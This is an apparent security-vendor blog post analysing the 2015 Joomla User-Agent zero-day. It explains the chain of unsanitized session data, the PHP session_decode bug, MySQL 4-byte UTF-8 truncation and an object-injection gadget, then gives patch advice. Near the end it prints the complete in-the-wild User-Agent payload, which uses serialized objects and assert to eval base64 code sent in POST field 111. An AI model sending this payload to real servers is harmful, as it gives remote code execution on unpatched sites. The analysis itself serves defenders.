In-depth analyses of the Joomla! 0-day User-Agent exploit
On Monday, Joomla! released updates and hotfixes for all their versions. It had to patch a zero-day exploit that was already being used in the wild.Initial analysis by Sucuri, Metasploit and Reddit suggested it had something to do with the storage of the unsanitized User-Agent string into the session data. This session data was stored into an custom Joomla database (utf8_general_ci) and was executed as it was a close handler of the database. We will guide you through the exploit and explain how you can be secure by using standard security measures.

Weβve developed a PoC which injects a malicious payload executing phpinfo
.
Part 1: Unsanitized use of data
The easiest part is getting data into the platform. All modern CMSβ have multiple input they take for various reasons. The sended headers, cookies, the url itself. All this data is being processed and, in a CMS, most likely stored somewhere (Youβre better off using a static generator to shrink your input vector). In this case, we use the User-Agent or the HTTP_X_FORWARDED_FOR header. This header tells the server what type of client is trying to connect (operating system, browser, versions,β¦). This is not a mandatory step for many sites, but mainly used for statistics and some including extra javascript/css to enhance the experience of the user. In Joomla! this data is saved into the session.
// File: libraries/vendor/joomla/session/Joomla/Session/Session.php
// Check for clients browser
if (in_array('fix_browser', $this->security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
}
The code snippet above illustrates the fact that the User-Agent string is stored unescaped and unsanitized.
Advice: Always sanitize user input
Part 2: The custom session handler
Joomla! uses a custom session handler to save the session data. The function session_set_save_handler can be used to override the session handler. In the case of Joomla!, they donβt save it into files, but they save it into the database. This is what happens:
- A session is started by session_start
- The read handler is called and returns the session data
- session_decode is used to decode the current session data.
- The $_SESSION variable is filled
β¦ Now you can change / add data to your $_SESSION array β¦
- A session is closed by session_write_close (or termination of the PHP file)
- The session variable is encoded by session_encode
- The write handler is called to save the session data
session_encode / session_decode
This uses a special version of serialize, instead of serializing the full $_SESSION, it serializes the values and groups them together with pipes.
- source: array(βaβ => 5, βbβ => 6)
- serialize: a:2:{s:1:βaβ;i:5;s:1:βbβ;i:6;}
- session_encode: a|i:5;b|i:6;
When done correctly, these functions do not introduce an attack vector. But because both are using different code, both code bases should be maintained, so they are kept code free. In case of serialize, more people look over it, while session_decode is somewhat left behind.
Joomla session handler
The handler writes the data with a PDO and uses quotes to make sure no SQL injection can happen. This is written really well.
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
// Try to update the session data in the database table.
$db->setQuery($query);
if (!$db->;execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}
Though the following line is crucial to this bug:
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
When you serialize a class with protected variables, the difference between normal and protected variables is that protected variables are prefixed with β\0*\0β.
class CustomClass {
protected $data = 5;
}
echo serialize(new CustomClass);
Gives you:
O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}
But MySQL data canβt save null bytes, so the custom Joomla handler converts them to something that is supported (escaped version of zeros). This is handy because HTTP headers donβt allow null bytes, so you cannot pass null bytes through the HTTP headers. You wouldnβt be able to serialize the protected variables in a class, however the custom handler makes it possible.
Advice: Donβt reinvent the wheel, use the build-in functions (e.g. session handler).
Part 3: The session_decode bug (CVE-2015-6835)
As Iβve said earlier, if session_decode would decode the data properly, this exploit would not exist. Because nowhere in Joomla, they blatantly eval or serialize the User Agent. In januari 2015 a bug was found in the unserialize function (CVE-2015-0273). It made it possible to crash PHP (or execute own code) because it recreated the internal C structures, but didnβt check types. Functions would try to consume this structure and assuming a different type (e.g. using an int as pointer). This bug was quickly patched and a new version was released.
Though, the session_decode uses the same principles and wasnβt fixed. In september 2015, the exploit CVE-2015-6835 was filled. This made it possible to inject some data into the session array by carefully crafting your decoding string.
session_decode('user_agent|s:10:"test|i:5;')
Gives you:
array(
'user_agent' => NULL
'10:"test"' => 5 // Injected
)
Imagine that the bold part is your User Agent in the session data. If you can terminate the string after your injected code, you can create any variable you want, even objects. In part 3, we will search a way to terminate the string, in part 4 we will search how we can create objects that will be executed.
This bug is already fixed and released in PHP 5.4.45, PHP 5.5.29, PHP 5.6.13, in all supported Ubuntu, Debian and RedHat channels. And it was all released by end september. This exploit is critical for the Joomla! exploit to work, so everybody that installs the security releases of PHP was already save! High five for all those awesome people using automatic updaters!
Advice: Make sure you always use the latest version of your software
Part 4: Making things easier, MySQL UTF-8 support
As described in the previous paragraph, we need a way to terminate the data of the session variable. Luckily, Joomla! uses an own implemented session handler that uses MySQL with utf8_general_ci collocation. Whenever this encounters an unsupported 4-byte UTF-8 symbol, it just terminates the data. After inserting the session data through the custom Joomla session handlers, the following:
user_agent|s:10:"test|i:5;π";a|i:1;b|i:2;
becomes
user_agent|s:10:"test|i:5;
And we have the required structure to use the session_decode bug.
Advice: Use escape functions that removes 4-byte UTF-8 symbols from input data
Part 5: The search for an executor
Now that we have a way to add contents to the $_SESSION variable, we can also create new objects and add them to the session variable. Thus now we have to search for something that will get executed. For example, take the following class in your application.
Now we have to search after a call_user_func_array that is called upon __wakeup or __destruct and let it call the init function of our SimplePie object. Multiple valid classes can be found, but the attackers used the JDatabaseDriverMysqli class that automatically calls some cleanup code on destruction. Below are the relevant parts of the class.
Summary
This exploit uses multiple bugs in various systems to run its code: it uses an unsanitized User-Agent that is saved in the session data. Because this data is saved with a custom Joomla session handler into the database, a MySQL truncation bug can be used to trigger a session_decode exploit, to break and create custom objects. Those objects are then used to create a payload that will be executed by the disconnect handler of the JDatabaseDriverMysqli class.
In our examples, we always use phpinfo, the real attack doesnβt embed the code to execute directly, they execute the code that enters the 111 post variable:
eval("base64_decode($_POST[111])")
So most attacks are used with some form of the following User-Agent:
jklmj}__jklmjklmjk|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";
a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;
s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;
s:8:"feed_url";s:62:"eval('base64_decode($_POST[111])');JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}
Disclaimer: We added the real exploit for educational purposes (because they can be found everywhere in the forums), donβt use them against other sites!
Solution
Many security firms are giving you firewall / mod_security rules to fix this issue. Though, there are many security experts busy in all the upstream projects. They investigate and try to fix exploits as fast as possible. Mostly fixes are released before any exploits are used in the wild. In this case, the Joomla exploit was not fixed before the attacks, but the PHP bug was already fixed for 2 months. I donβt want to give firewall rules as solution. The best solution is to stay up-to-date with all your software. Upgrade Joomla to 3.4.6 or PHP to >= 5.4.45, >= 5.5.29, >= 5.6.13 (ps. Ubuntu and Debian packages also contain the fix).
Edit
Joomla has released 2 releases (3.4.6 and 3.4.7) to solve this issue. You are secure for the exploit in this form when using the 3.4.6 update, or an updated PHP version. Though it is certainly advised to upgrade to 3.4.7 because that version adds new security measures that makes sure variants of this exploit cannot happen.
3.4.6 | Fix part 1 by sanitizing user input. The User-Agent isnβt saved anymore and the HTTP_X_FORWARDED_FOR should now be an IP. | 3.4.7 | Fix part 4 by encoding the session data with base64 before running it through session_encode. This way the truncation cannot happen because the 4-byte UTF-8 char is transformed. |
Β
Check your site against the exploit with our mini-scanner and know if your all your software are up to date with our full version scanner PatrolServer.